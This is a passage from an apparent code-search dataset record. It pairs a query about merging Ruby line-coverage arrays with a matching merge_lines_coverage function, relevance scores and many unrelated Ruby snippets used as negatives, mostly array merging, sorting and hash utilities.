"0.5388309",
"0.53867894",
"0.53543615",
"0.5353862",
"0.5353799",
"0.5350267",
"0.5340705",
"0.53278494",
"0.5312217",
"0.5306706",
"0.529775",
"0.52711594",
"0.5263576",
"0.52634895",
"0.5250189",
"0.52462345",
"0.52421117",
"0.5240785",
"0.52352923",
"0.523415",
"0.5231594",
"0.52068865",
"0.520599",
"0.5192253",
"0.5187116",
"0.5183593",
"0.5167565",
"0.5164908",
"0.5151359",
"0.5137711",
"0.5116308",
"0.5113938",
"0.5105301",
"0.5104309",
"0.5097288",
"0.5097064",
"0.50885516",
"0.5064364",
"0.50637656",
"0.5063593",
"0.50583535",
"0.5051861",
"0.50461537",
"0.5044202",
"0.5039068",
"0.5038795",
"0.50205606",
"0.5016842",
"0.5010563",
"0.5006272",
"0.5003479",
"0.5000933",
"0.49969023",
"0.49957532",
"0.4993044",
"0.49907932",
"0.49770877",
"0.49744943",
"0.4971668",
"0.4970101",
"0.496836"
] |
0.64188975
|
4
|
assuming b has same or more keys since it comes from a fork [nil,1,0] + [nil,nil,2] > [nil,1,2]
|
def merge_lines_coverage(a, b)
b.each_with_index.map do |b_count, i|
a_count = a[i]
(a_count.nil? && b_count.nil?) ? nil : a_count.to_i + b_count.to_i
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def missing_nums(a,b)\n ahash = {}\n bhash = {}\n while i < a.size do\n if ahash.has_key?(a[i]) then\n ahash[a[i]] += 1\n else\n ahash[a[i]] = 1\n end\n if bhash.has_key?(b[i]) then\n bhash[b[i]] += 1\n else\n bhash[b[i]] = 1\n end\n i += 1\n end\n while i < b.size do\n if bhash.has_key?(b[i]) then\n bhash[b[i]] += 1\n else\n bhash[b[i]] = 1\n end\n i += 1\n end\n result = []\n bhash.keys.each do |key|\n result.push(key) if (!ahash.has_key?(key) || bhash[key] > ahash[key])\n end\n result.sort\nend",
"def pickup_same_item(a, b)\n result = nil\n if a.class == Hash\n result = {}\n a.each do |k, v|\n t_val = b[k]\n next if t_val.nil?\n result[k] = pickup_same_item_val(v, t_val)\n end\n elsif a.class == Array\n result = []\n a.each_index do |k|\n t_val = b[k]\n next if t_val.nil?\n result << pickup_same_item_val(a[k], t_val)\n end\n end\n\n result\n end",
"def compine(a, b)\n\ta.each do |i|\n\t\tb.delete_at(b.index(i)) unless b.index(i) == nil\n\tend\n\treturn a + b\nend",
"def b(memo, other)\n other.keys.each do |sort|\n if keys.include?(sort) && !memo.keys.include?(sort)\n memo << other.assoc(sort)\n end\n end\n end",
"def problem_14(*b)\nproblem = b.last[:problem] ||= :count_clumps if b.last.is_a?(Hash)\nb.pop if b.last.is_a?(Hash)\n\n\tcase problem\n\t\twhen :same_ends\n\t\t\ta = b.shift\n\t\t\tsame_ends(a,*b)\n\t\telse\n\t\t\tcount_clumps(*b)\n\t\tend\n\nend",
"def sorted_merge(a, b)\n i = 0\n until b.empty?\n if a[i].nil? || b[0] <= a[i]\n shift(a, i)\n a[i] = b.delete_at(0)\n end\n i += 1\n end\n a\nend",
"def merge(a, p, q, r)\n m = q - p + 1\n n = r - q\n l = []\n o = []\n\n for i in 1..m\n l << a[p + i - 1]\n end\n\n for j in 1..n\n o << a[q + j]\n end\n\n l << 1.0 / 0\n o << 1.0 / 0\n i = 0\n j = 0\n\n for k in p..r\n if l[i] <= o[j]\n a[k] = l[i]\n i += 1\n else\n a[k] = o[j]\n j += 1\n end\n end\n a\nend",
"def concat_child_arrays( h1, h2, key )\n h_out = {}\n if h1.has_key?( key )\n if h2.has_key?( key )\n h_out = { key => h1[ key ].concat( h2[ key ] ) }\n else\n h_out = { key => h1[ key ] }\n end\n elsif h2.has_key?( key )\n h_out = { key => h2[ key ] }\n end\n return h_out\nend",
"def __add_keys_to(set) # used by parser # [\n lim = @_st_tableSize\n lim = lim + lim\n kofs = 0\n while kofs < lim\n k = self.__at(kofs)\n if k._not_equal?(RemoteNil)\n set.add(k) # k,v pair\n else\n v = self.__at(kofs + 1)\n if v._not_equal?(RemoteNil)\n if v._isFixnum\n # internal collision chain\n idx = v\n begin\n ck = self.__at(idx)\n if ck._not_equal?(RemoteNil)\n set.add(ck)\n end\n idx = self.__at(idx + 2)\n end while idx._isFixnum\n else\n # a collision bucket , which is a small Hash \n v.__add_keys_to(set)\n end\n end\n end\n kofs += 2\n end\n end",
"def unmatched_keys; end",
"def hash_diff(a, b)\n added = {}\n changed = {}\n deleted = {}\n same = {}\n \n seen = {}\n \n a.each_key do |k|\n seen[k] = true\n \n if b.has_key? k\n if b[k] == a[k]\n same[k] = true\n else\n changed[k] = true\n end\n else\n deleted[k] = true\n end\n end\n \n b.each_key do |k|\n unless seen[k]\n added[k] = true\n end\n end\n \n [added, changed, deleted, same]\n end",
"def reverse_merge(other_hash); end",
"def reverse_merge(other_hash); end",
"def warn_about_duplicate_keys(h1, h2)\n d = h1.keys & h2.keys\n unless d.empty?\n warn \"Duplicate subtrees while merging result of \\n #{self.inspect}\\nonly the values\"+\n \" of the latter will be kept. (keys: #{d.inspect})\"\n end\n end",
"def combine(a, b)\n\tresults = Array.new\n#check to see if there is only one element left\n\n#should this be a case statement?\n\tif a.first >= b.first\n\t\tresults.push(b.first)\n\t\tb.drop(first)\n\telsif b.first >= a.first\n\t\tresults.push(a.first)\n\t\ta.drop(first)\n\telsif b == []\t&& a != []\n\t\tresults.push(a)\n\telsif a == []\t&& b != []\n\t\tresults.push(b)\n\tend\n\n=======\n\t# create a results array\n\t# counters pointing to the index of the smallest elements in each array\n\t# check that we have elements to compare\n\t\t# push the smaller element onto the result array\n\t# if there are elements left over in a, move them to result\n\t# if there are elements left over in b, move them to result\nend",
"def merge(a,b) #Important to know a and b are already sorted.\n c = make1d(a.length()+b.length())\n ia=0\t\n ib=0\n ic=0\n while ia < a.length() && ib < b.length()\n if a[ia] < b[ib]\n c[ic] = a[ia]\n ia = ia + 1\n ic = ic + 1\n else\n c[ic] = b[ib]\n ib = ib + 1\n ic = ic + 1\n end\n end\n c+a+b #Take what you know have of c + a or b, the blank one + the other of a or b, the one with the remainder of your sorted terms.\n c\nend",
"def different?(a, b, bi_directional=true)\n return [a.class.name, nil] if !a.nil? && b.nil?\n return [nil, b.class.name] if !b.nil? && a.nil?\n\n differences = {}\n a.each do |k, v|\n if special_value(v)\n differences[k] = [v, b[k]] unless validate_special_value(v, b[k])\n else\n if !v.nil? && b[k].nil?\n differences[k] = [v, nil]\n next\n elsif !b[k].nil? && v.nil?\n differences[k] = [nil, b[k]]\n next\n end\n\n if v.is_a?(Hash)\n unless b[k].is_a?(Hash)\n differences[k] = \"Different types\"\n next\n end\n diff = different?(a[k], b[k])\n differences[k] = diff if !diff.nil? && diff.count > 0\n\n elsif v.is_a?(Array)\n unless b[k].is_a?(Array)\n differences[k] = \"Different types\"\n next\n end\n\n c = -1\n diff = v.map do |n|\n c += 1\n if n.is_a?(Hash)\n diffs = nil\n if !b[k][c].is_a?(Hash)\n diffs = [\"Different types\"]\n else\n b[k].map do |val_2|\n if val_2.is_a?(Hash)\n diffs = different?(n, val_2)\n else\n diffs = [\"Different types\"]\n end\n break if diffs.nil?\n end\n diffs = different?(n, b[k][c]) if diffs && b[k][c].is_a?(Hash)\n end\n [\"Differences: \", diffs] if diffs\n elsif n.is_a?(Array)\n if !b[k][c].is_a?(Array)\n diffs = [\"Different types\"]\n else\n b[k].each do |val_2|\n diffs = check_arrays(n, val_2)\n break unless diffs\n end\n end\n diffs if diffs\n elsif special_value(n)\n [n, b[k][c]] unless validate_special_value n, b[k][c]\n else\n arr_val_found = nil\n b[k].each do |val_2|\n arr_val_found = val_2 == n\n break if arr_val_found\n end\n [n, b[k][c]] unless arr_val_found\n end\n end.compact\n differences[k] = diff if diff.count > 0\n else\n differences[k] = [v, b[k]] unless v == b[k]\n end\n end\n end\n return differences if !differences.nil? && differences.count > 0\nend",
"def merge(a, b)\n result = Array.new(a.size + b.size)\n a_index, b_index = 0, 0\n a_max = a.size - 1\n b_max = b.size - 1\n \n result.map do\n if a_index <= a_max && b_index <= b_max\n if a[a_index] < b[b_index]\n a_index += 1\n next a[a_index - 1]\n else\n b_index += 1\n next b[b_index - 1]\n end\n else\n if a_index > a_max\n b_index += 1\n next b[b_index - 1]\n else\n a_index += 1\n next a[a_index - 1]\n end\n end\n end\n\nend",
"def editDist(hshJ, hshB, jac)\n inter = 0.0\n hshJ.each_key{|k|\n if hshB.has_key?(k)\n inter+=1.0\n end\n }\n\n if jac\n cUnion = hshJ.size+hshB.size-inter\n else\n cUnion = hshJ.size\n end\n\n (inter/cUnion)\nend",
"def merge!(b)\n b.items.each do |i|\n self.items << i\n self.save!\n end\n AttributesForMerging.each do |k|\n if (self[k].nil? || self[k].empty?) && !(b[k].nil? || b[k].empty?)\n self[k]=b[k]\n end\n end\n self.save!\n b.destroy\n true\n end",
"def getTotalX(a, b)\n a.each_with_object([]) do |a0, res|\n b.each do |b0|\n res << b0 unless a0 == b0 || b0 % a0 != 0 \n end\n end.uniq.count\nend",
"def c v1, v2, o\n m = false\n d = []\n (0...v2.size).each{ |j|\n if !v1.include? v2[j] + o\n d << v2[j]\n m = true\n end\n }\n for x in d\n v2.delete x\n end\n m\nend",
"def hash_diff(a, b)\n (a.keys | b.keys).inject({}) do |diff, k|\n if a[k] != b[k]\n if a[k].is_a?(Hash) && b[k].is_a?(Hash)\n diff[k] = hash_diff(a[k], b[k])\n else\n diff[k] = [a[k], b[k]]\n end\n end\n diff\n end\n end",
"def combine(a, b)\n\t# create a results array\n\t\n\t# counters pointing to the index of the smallest elements in each array\n\n\t# check that we have elements to compare\n\t\t# push the smaller element onto the result array\n\n\t# if there are elements left over in a, move them to result\n\t# if there are elements left over in b, move them to result\n\nend",
"def creep_merge( j, o )\n result = nil\n if o.is_a? Hash\n o.keys.each do |k|\n puts \"== k: #{k} | #{k.class} | j: #{j.class}\" if ENV['VERBOSE'] == 'yes'\n if j.is_a?(Hash)\n unless j.key?(k)\n warn \"!!!!!!!!! WARNING NO key '#{k}'\"\n if ENV['PRY'] == 'yes'\n require 'pry'\n binding.pry\n end\n else\n j[k] = creep_merge(j[k], o[k])\n end\n else\n j = o[k]\n end\n result = j\n end\n else\n result = o\n end\n result\nend",
"def return_diff_betw_indexes(hash, key_1, value_1, key_2, value_2)\n array_1 = hash[:bay_1].to_a\n array_2 = hash[:bay_2].to_a\n\n full_array = array_1 + array_2\n object_1 = key_1 , value_1\n object_2 = key_2, value_2\n for item_selection in full_array\n if (item_selection == object_1) || (item_selection == object_2)#trying to make sure the code doesnt get run if there is a mistake in the input but can only check item_selection one at a time and it returns nil for the mistake and error occurs because nil cant be into a Fixnum\n #break if object_1 == nil Trying to implement a test to filter results if they contain a nil\n index_1 = full_array.index(object_1)\n index_2 = full_array.index(object_2)\n difference = index_2 - index_1\n return difference\n end\n end\n return false\nend",
"def commonChild(s1, s2)\n a = s1\n b = s2 \n last, current = Array.new(b.size+1, 0), nil\n i = 0\n while i <= a.size-1\n current = Array.new(b.size+1, 0)\n j = 0\n while j <= b.size-1\n if a[i] == b[j] \n current[j+1] = last[j] + 1\n else\n current[j+1] = current[j] >= last[j+1] ? current[j] : last[j+1]\n end\n j += 1\n end\n last = current\n i += 1\n end\n\n current.max\nend",
"def fixBTree( node, index)\n # If the left sibling has more than min keys.\n if (index != 0 && node.arr[index - 1].n > self.min)\n self.borrowFromLeft(node, index)\n elsif (index != node.n && node.arr[index + 1].n > self.min)\n self.borrowFromRight(node, index)\n else\n if (index != node.n)\n self.merge(node, index)\n else\n self.merge(node, index - 1)\n end\n end\n end",
"def reduce(a, b)\n\t\tcountRemoved = 0\n\t\tfor i in 0...(a.size)\n\t\t\tcommonOn = Array.new(b.size,true)\n\t\t\tcommonOff = Array.new(b.size,false)\n\n\t\t\t#determine which values all candidates of ai have in common\n\t\t\ta[i].each do |candidate|\n\t\t\t\tcommonOn = self.bitSetAnd(commonOn,candidate)\n\t\t\t\tcommonOff = self.bitSetOr(commonOff,candidate)\n\t\t\tend\n\n\t\t\t#remove from bj all candidates that dont share the forced values\n\t\t\tfor j in 0...(b.size)\n\t\t\t\tfi = i\n\t\t\t\tfj = j\n\t\t\t\tif (b[j].reject! { |cnd| (commonOn[fj] && !cnd[fi]) || (!commonOff[fj] && cnd[fi]) } != nil)\n\t\t\t\t\tcountRemoved +=1\n\t\t\t\tend\n\t\t\t\tif b[j].empty?\n\t\t\t\t\treturn -1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn countRemoved\n\tend",
"def merge(a, b)\n c = []\n until a.empty? && b.empty? do\n if a.first && ((b.first && a.first <= b.first) || !b.first)\n c << a.shift\n else\n c << b.shift\n end\n end\n return c\nend",
"def merge(m, a, b)\n loop do\n return m + a if b.empty?\n return m + b if a.empty?\n if a[0] < b[0]\n m << a.first\n a.delete_at(0)\n else\n m << b.first\n b.delete_at(0)\n end\n end\nend",
"def merge_if_equals(array)\n merged = []\n keymap = {}\n array.each do |hash|\n key = hash.keys.first\n if i = keymap[key]\n merged[i].values.first.concat hash.values.first\n else\n keymap[key] = merged.size\n merged << hash\n end\n end\n array.replace(merged)\n end",
"def combine_arrays(a, b)\n c = []\n a.each_with_index{|value,idx|\n value + b[idx] > value + b[idx + 1] ? c << value + b[idx] : c << value + b[idx + 1]\n }\n return c\nend",
"def coalesce\n allkeys = map {|h| h.keys}.flatten.uniq\n allkeys.reduce({}) do |memo,key|\n memo[key] = map {|h| h[key]}.compact.uniq\n memo[key] = memo[key].first if memo[key].count <= 1\n memo\n end\n end",
"def combArray(a, b)\n\th = Hash[a.zip b]\n\tputs h\nend",
"def reverse_merge!(other_hash); end",
"def deep_diff(a, b)\n (a.keys | b.keys).inject({}) do |diff, k|\n if a[k] != b[k]\n if a[k].is_a?(Hash) && b[k].is_a?(Hash)\n diff[k] = deep_diff(a[k], b[k])\n else\n diff[k] = [a[k], b[k]]\n end\n end\n diff\n end\n end",
"def merge(a, b)\n answer = []\n until a.empty? || b.empty?\n if a[0] <= b[0]\n answer << a[0]\n a.shift\n else\n answer << b[0]\n b.shift\n end\n end\n if a.empty?\n b.each do |item|\n answer << item \n end\n end\n if b.empty?\n a.each do |item|\n answer << item\n end\n end\n answer\nend",
"def mergeGbkSeq\n \nend",
"def merge(a,b)\n \n a.reverse!\n b.reverse!\n result = []\n \n # loop till either a or b is empty\n loop do\n break if a.empty? || b.empty?\n # compare each value in the list to the other list value\n # pop = removes the last element or returns nil\n # the value is pushed to the result\n result << (a.last < b.last ? a.pop : b.pop)\n end\n return result + a.reverse + b.reverse\nend",
"def key_for_min_value(name_hash)\n a = nil\n b = nil\n name_hash.each do |key, value|\n if b == nil || value < b\n a = key\n b = value\n end\n end\n return a\nend",
"def __clone_buckets\n lim = @_st_tableSize\n lim = lim + lim\n kofs = 0\n while kofs < lim\n v = self.__at(kofs + 1)\n if v._not_equal?(RemoteNil)\n k = self.__at(kofs)\n if k._not_equal?(RemoteNil)\n # a k,v pair\n elsif v._isFixnum\n # internal collision chain\n else\n # a collision bucket\n nbucket = v.clone\n nbucket.__parent=(self)\n self.__at_put(kofs + 1, nbucket )\n end\n end\n kofs += 2\n end\n end",
"def union(heap_x, heap_y)\n return heap_y if !heap_x.root_head\n return heap_x if !heap_y.root_head\n\n y_head = heap_y.root_head\n heap_x.root_tail.r = y_head\n y_head.l = heap_x.root_tail\n heap_x.root_tail = heap_y.root_tail\n heap_x.min = heap_y.min if heap_x.min.key > heap_y.min.key\n heap_x.size = heap_x.size + heap_y.size \n return heap_x \n end",
"def lowest_common_ancestor(a, b)\n neighbors_A = bfs(a)\n neighbors_B = bfs(b)\n\n min_dst = Float::INFINITY\n\n in_common = neighbors_A.keys & neighbors_B.keys\n lcas = []\n \n in_common.each do |v|\n curr_dst = neighbors_A[v] + neighbors_B[v] \n if curr_dst < min_dst\n min_dst = curr_dst\n lcas.clear\n lcas.push(v)\n elsif curr_dst == min_dst\n lcas.push(v)\n end\n end\n if min_dst == Float::INFINITY\n min_dst = -1\n end\n return [lcas, min_dst]\n end",
"def merge(a, b, tmp, limit: TOP_K_SIZE)\n a.each_with_index{|v, i| tmp[i] = v}\n i = j = k = 0\n while k < limit && (i < tmp.size || j < b.size)\n if j >= b.size || (i < tmp.size && tmp[i] > b[j]) # descending\n a[k] = tmp[i]\n i += 1\n else\n a[k] = b[j]\n j += 1\n end\n k += 1\n end\n end",
"def matching_pairs\n pairs = @numba_a.each_cons(2)\n .map { |a| a.first == a.last ? a.first : nil }\n .compact\n pairs << @numba_a.first if @numba_a.first == @numba_a.last\n pairs\n end",
"def will_merge_change_hash?(a,b)\n !(a.merge(b) == a)\n end",
"def compare_with_nils(key1, key2)\n result = nil\n key1.zip(key2) do |k1, k2|\n if k1.is_a?(String) && !k2.is_a?(String)\n k1 = nil\n elsif !k1.is_a?(String) && k2.is_a?(String)\n k2 = nil\n end\n if k1.nil? && k2.nil?\n result = 0\n next\n elsif k1.nil?\n result = -1\n break\n elsif k2.nil?\n result = 1\n break\n elsif (k1 <=> k2) == 0\n next\n else\n result = (k1 <=> k2)\n break\n end\n end\n result\n end",
"def problem_106\n a = [1,2,3,4]\n a = [1,2,3,4,5,6,7]\n a = [1,2,3,4,5,6,7,8,9,10,11,12] \n \n num = 0\n seen = {}\n # Don't do length of 1, they are ordered\n # Because they are size ordered, and 2 smalls are bigger than a large\n 2.upto(a.length/2) do |n|\n puts \"n = #{n}\"\n a.combination(n) do |set_a|\n b = a - set_a\n break if b.length < n\n b.combination(n) do |set_b|\n key = [set_a,set_b].sort\n next if seen[key]\n seen[key] = true\n index = 0\n state = 0\n 0.upto(set_a.length-1) do |i|\n break unless set_b[i] && set_a[i]\n if set_a[i] < set_b[i]\n state -= 1\n else\n state += 1\n end\n end\n\n# print \"#{set_a.inspect} #{set_b.inspect} #{state}\"\n if state.abs <= (set_a.length - 2) ||\n (state < 0 && set_a.last > set_b.last) ||\n (state > 0 && set_a.first < set_b.first)\n# puts \" good\"\n num += 1\n else\n# puts \"\"\n end\n end\n end\n end\n num\nend",
"def add_hash_if_hash(a1, b1)\n a1.each do |k, _v|\n if %w[Array Hash].include?(a1[k].class.name)\n a1[k] = add_hash2_to_hash1(a1[k], b1[k])\n else\n a1[k] += b1[k]\n end\n end\n end",
"def key_for_min_value(ha)\nans = 999999999\n ha.each do |hash, key|\n if key < ans\n ans = key\n end\n end\n \n ha.each do |hash1, key1|\n if key1===ans\n return hash1\n end\n end\n puts ans\n\nend",
"def beautifulPairs(a1, a2)\n h1 = {}\n\n a1.each do |a|\n h1[a] ? h1[a] += 1 : h1[a] = 1 \n end\n\n count = 0\n a2.each do |b|\n if h1[b] && h1[b] > 0\n h1[b] -= 1\n count += 1\n end\n end\n\n count == a1.size ? count - 1 : count + 1\nend",
"def solution(a, b)\n stack = [[a[0], b[0]]]\n if a.size > 1\n (1..a.size - 1).each do |i|\n if stack.last[1] <= b[i]\n stack << [a[i], b[i]] # no one dies\n next\n end\n while stack.size > 0 && stack.last[0] < a[i] && stack.last[1] > b[i] # fish to left dies\n stack.pop\n end\n if stack.size == 0 || stack.last[1] == b[i]\n stack << [a[i], b[i]]\n end\n end\n end\n stack.size\nend",
"def key_for_min_value(name_hash)\n#changed_array = name_hash.size do |name_hash|\n # if name_hash.size < changed_array\n # puts NIL\n #else\n # puts changed_array\n #end\n#end \n\n\nsmallest_value = 0\n empty_hash = nil\n name_hash.each do |name, value|\n if smallest_value == 0 || value < smallest_value\n smallest_value = value\n empty_hash = name\n end\n end\n empty_hash\nend",
"def key_for_min_value(name_hash)\n reference = nil\n vref = 1000\n name_hash.collect do |key, value|\n if value < vref\n reference = key\n end\n if vref > value\n vref = value\n end\n # binding.pry\n end\n reference\nend",
"def breadth_first(a=[])\n unless a.length == 0\n s = []\n a.each do |z|\n if z.key?('v')\n print \"#{z['v']} \"\n s.push(z['l'])\n s.push(z['r'])\n end\n end\n breadth_first(s)\n end\n \nend",
"def merge(numbers, p, q, r)\n left = numbers[p..q]\n right = numbers[q + 1..r]\n i = 0\n j = 0\n (p..r).each do |k|\n puts k\n if left[i] == nil\n numbers[k] = right[j]\n j += 1\n elsif right[j] == nil\n numbers[k] = left[i]\n i += 1\n else\n if left[i] <= right[j]\n numbers[k] = left[i]\n i += 1\n else\n numbers[k] = right[j]\n j += 1\n end\n end\n end\n numbers\nend",
"def deep_merge_hashes(master_hash, other_hash); end",
"def package_updates(a, b)\n common_keys = a.keys & b.keys\n common_keys = a.keys & b.keys\n common_keys.inject({}) { |result, p| result.merge({p => a[p]}) }\n end",
"def key_for_min_value(name_hash)\n num = []\n key = nil\n name_hash.each do |x,y|\n if num.length > 0\n y > num.first ? num << y : (num.unshift(y) ; key = x)\n else\n num << y\n key = x\n end\n \n end \n key\nend",
"def deep_merge!(second)\n return nil unless second\n type_assert(second, Array)\n changed = nil\n second.each_index do |k|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n changed |= true if self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n changed |= true if self[k].deep_merge!(second[k])\n elsif exclude?(second[k])\n self << second[k]\n changed |= true\n end\n end\n return nil unless changed\n self\n end",
"def merge_2_array_of_hashes(a_arr, b_arr)\n merge_hash = a_hash = array_of_hashes_2_hash(a_arr) if a_arr\n merge_hash = b_hash = array_of_hashes_2_hash(b_arr) if b_arr\n merge_hash = a_hash.merge!(b_hash) if (a_arr and b_arr)\n merge_hash\nend",
"def reject!(&b)\n keys = []\n self.each_key{|k|\n v = self[k]\n if b.call(k, v)\n keys.push(k)\n end\n }\n return nil if keys.size == 0\n keys.each{|k|\n self.delete(k)\n }\n self\n end",
"def combine(a, b)\n\tsorted = []\n\twhile a.length != 0 && b.length != 0\n\t\ta[0] < b[0] ? (sorted << a.shift) : (sorted << b.shift)\n\tend\n a.length == 0 ? (sorted += b) : (sorted += a)\n\treturn sorted\nend",
"def merge(array, p, q, r)\n array_b = array[p .. q].dup\n array_c = array[q + 1 .. r]\n array_b[array_b.length] = Float::INFINITY\n array_c[array_c.length] = Float::INFINITY\n i = 0\n j = 0\n (p..r).each do |k|\n if array_b[i] <= array_c[j]\n array[k] = array_b[i]\n i += 1\n else\n array[k] = array_c[j]\n j += 1\n end\n end\n array\nend",
"def merge(arr1, arr2)\n arr = [] \n\n (arr2.length > arr1.length)? max = arr2.length : max = arr1.length\n a1_idx = 0\n a2_idx = 0 \n while a1_idx < max || a2_idx < max \n if arr2[a2_idx] == nil \n arr += arr1[a1_idx..-1] \n break \n elsif arr1[a1_idx] == nil \n arr += arr2[a2_idx..-1] \n break \n end \n\n a1 = arr1[a1_idx]\n a2 = arr2[a2_idx]\n\n if a1 < a2 \n arr << a1\n a1_idx += 1 \n \n else \n arr << a2\n a2_idx += 1 \n end\n end\n arr\nend",
"def key_for_min_value(name_hash)\n collection = [nil, nil]\n name_hash.each do |a, b|\n if collection[0] == nil\n collection = [a, b]\n elsif b < collection[1]\n collection = [a, b]\n end\n end\n collection[0]\nend",
"def cant_beat_so_join(numbers)\n sub_totals = {}\n answer = []\n numbers.each do |pairs|\n if sub_totals.key? pairs.sum\n sub_totals[pairs.sum] << pairs unless pairs.nil?\n sub_totals[pairs.sum].flatten\n else\n sub_totals[pairs.sum] = pairs unless pairs.nil?\n end\n end\n sorted = sub_totals.sort_by { |k, _| k }.reverse\n sorted.each do |x|\n answer << x[1]\n end\n answer.flatten\nend",
"def array_diff(a,b)\n counter = 0\n \n loop do\n break if b[counter] == nil\n \n a.each do |num|\n if num == b[counter]\n a.delete(num)\n else\n next\n end\n end\n \n counter += 1\n end\n \n a\n \nend",
"def merge(a,p,q,m)\n b = Array.new(q-p+1)\n i = p\n j = m+1\n k = 0\n while(i<=m && j<=q) do\n if(a[i]<=a[j])\n b[k] = a[i]\n k = k + 1\n i = i + 1\n else\n b[k] = a[j]\n j = j + 1\n k = k + 1\n end\n end\n\n while(i<=m) do\n b[k] = a[i]\n i = i + 1\n k = k + 1\n end\n\n while(j<=q) do\n b[k] = a[j]\n i = i + 1\n j = j + 1\n end\n\n l = 0\n for i in p..q\n a[i] = b[l]\n l = l+1\n end\nend",
"def combine(a, b)\n\t# create a results array\n\tresults = []\n\t# counters pointing to the index of the smallest elements in each array\n\tl = 0\n\tr = 0\n\t# check that we have elements to compare\n\t\t# push the smaller element onto the result array\n\tuntil results.length == a.length + b.length\n\t\tif !a[l].nil? && !b[r].nil?\n\t\t\tif a[l] <= b[r]\n\t\t\t\tresults.push(a[l])\n\t\t\t\tl += 1\n\t\t\telse\n\t\t\t\tresults.push(b[r])\n\t\t\t\tr += 1\n\t\t\tend\n\t# if there are elements left over in a, move them to result\n\t# if there are elements left over in b, move them to result\n\t\telsif !a[l].nil?\n\t\t\tresults.push(a[l])\n\t\t\tl += 1\n\t\telse\n\t\t\tresults.push(b[r])\n\t\t\tr += 1\n\t\tend\n\tend\n\treturn results\nend",
"def merge(a, b)\n result = []\n while(a.size > 0 && b.size > 0) do\n value_a = a.first\n value_b = b.first\n\n if value_a < value_b\n result << value_a\n a.shift\n else\n result << value_b\n b.shift\n end\n end\n\n result + a + b\n end",
"def merge_hashes(a, b)\n b.each do |key, value|\n if a.has_key? key\n raise \"Duplicate key #{key} when merging hashes\"\n end\n end\n a.merge b\nend",
"def prune_bnodes(input, bnodes_to_clear)\n case input\n when Array\n # If, after replacement, an array contains only the value null remove the value, leaving an empty array.\n input.map { |o| prune_bnodes(o, bnodes_to_clear) }.compact\n when Hash\n output = {}\n input.each do |key, value|\n if context.expand_iri(key) == '@id' && bnodes_to_clear.include?(value)\n # Don't add this to output, as it is pruned as being superfluous\n else\n output[key] = prune_bnodes(value, bnodes_to_clear)\n end\n end\n output\n else\n input\n end\n end",
"def combine(a, b)\n result = []\n\n while a.size > 0 && b.size > 0\n result << if a[0] <= b[0]\n a.shift\n else\n b.shift\n end\n end\n \n result.concat(a).concat(b)\nend",
"def normalize_commit_data commits_array\n commits_array = commits_array.each(&:symbolize_keys_deep!)\n commits_array.each_cons(2) do |previous_commit_data, commit_data|\n commit_data.default_blank! previous_commit_data.subhash(:branch, :location)\n end\nend",
"def union(id1,id2)\n id1 = parent(id1)\n id2 = parent(id2)\n if @r[id1] < @r[id2]\n @h[id1] = @h[id2]\n else\n @h[id2] = @h[id1]\n if @r[id1] == @r[id2]\n @r[id1] += 1\n end\n end\n end",
"def hash_check(start_hash, end_hash, hash = {})\n key = (start_hash.keys + end_hash.keys).uniq.first\n st = start_hash.first.last unless start_hash.first.nil?\n ed = end_hash.first.last unless end_hash.first.nil?\n\n if start_hash.empty? && end_hash.empty?\n hash\n else\n if st.class == Hash && ed.class == Hash\n hash[key] = hash_check(st, ed, {})\n else\n hash[key] = st != ed ? [st, ed] : st\n [start_hash, end_hash].each {|x| x.delete(key)}\n hash_check(start_hash, end_hash, hash)\n end\n end\n hash\nend",
"def two_pid_x_base_different(pid1=\"\",pid2=\"\", x=0)\n l = pid1.size\n m = l - x\n n = 0\n if pid1.size != pid2.size\n return false\n else\n (0..(pid1.size - 1)).each do |k|\n if pid1[k] == pid2[k]\n n += 1\n end\n end\n if n >= m\n return true\n else\n return false\n end\n end\nend",
"def key_for_min_value(name_hash)\n empty_variable = nil\n empty_key = nil \nif name_hash.empty?\n nil \n else\n name_hash.collect do |key, value|\n if empty_variable == nil || value < empty_variable\n empty_variable = value \n empty_key = key\n end\n end\n empty_key\nend\nend",
"def key_for_min_value(name_hash)\n\n g=0\n abc=\"\"\n name_hash.each do |a,b|\n if g==0 || b<g\n g=b\n\n end\n end\n name_hash.each do |a,b|\n if b==g\n return a\n end\n end\n puts name_hash if name_hash.empty?\nend",
"def key_for_min_value(name_hash)\n arr = []\n arr_b = []\n name_hash.each {|x,y| arr << y}\n if arr.length != 0\n arr[0] < arr[1] ? arr_b << arr[0] : arr_b << arr[1]\n arr[1] < arr[2] ? arr_b << arr[1] : arr_b << arr[2]\n arr_b[0] < arr_b[1] ? name_hash.key(arr_b[0]) : name_hash.key(arr_b[1])\n else\n nil\n end\nend",
"def key_for_min_value(name_hash)\n key = nil\n value = nil\n name_hash.collect do |x ,y| \n if value == nil || y < value\n key = x\n value = y\n end\nend\nkey\nend",
"def deep_merge(a, b)\n a = a.to_h.with_indifferent_access.tap(&:stringify_keys!)\n b = b.to_h.with_indifferent_access.tap(&:stringify_keys!)\n result = {}\n\n a.each do |k, v|\n result[k] = if v.is_a?(Hash)\n deep_merge(a[k], b[k].to_h)\n elsif v.is_a?(Array)\n (a[k] + b[k].to_a).uniq\n else\n b[k].nil? ? a[k] : b[k]\n end\n end\n\n (b.keys - a.keys).each do |k|\n result[k] = b[k]\n end\n\n result\n end",
"def merge_sorted(a, b)\n idx1 = 0\n idx1 += 1 until a[idx1 + 1].nil?\n idx2 = b.length - 1\n \n curr_idx = a.length - 1 - (a.length - (idx1 + idx2 + 2))\n \n while curr_idx >= 0\n if idx1 < 0 || (b[idx2] > a[idx1] && idx2 >= 0)\n a[curr_idx] = b[idx2]\n idx2 -= 1\n else\n a[curr_idx] = a[idx1]\n idx1 -= 1\n end\n\n curr_idx -= 1\n end\n a\nend",
"def key_for_min_value(hash)\n hash_key = nil\n hash_value = nil\n hash.each do |a, b|\n if hash_value == nil || b < hash_value\n hash_value = b\n hash_key = a\n end\n end\n hash_key\nend",
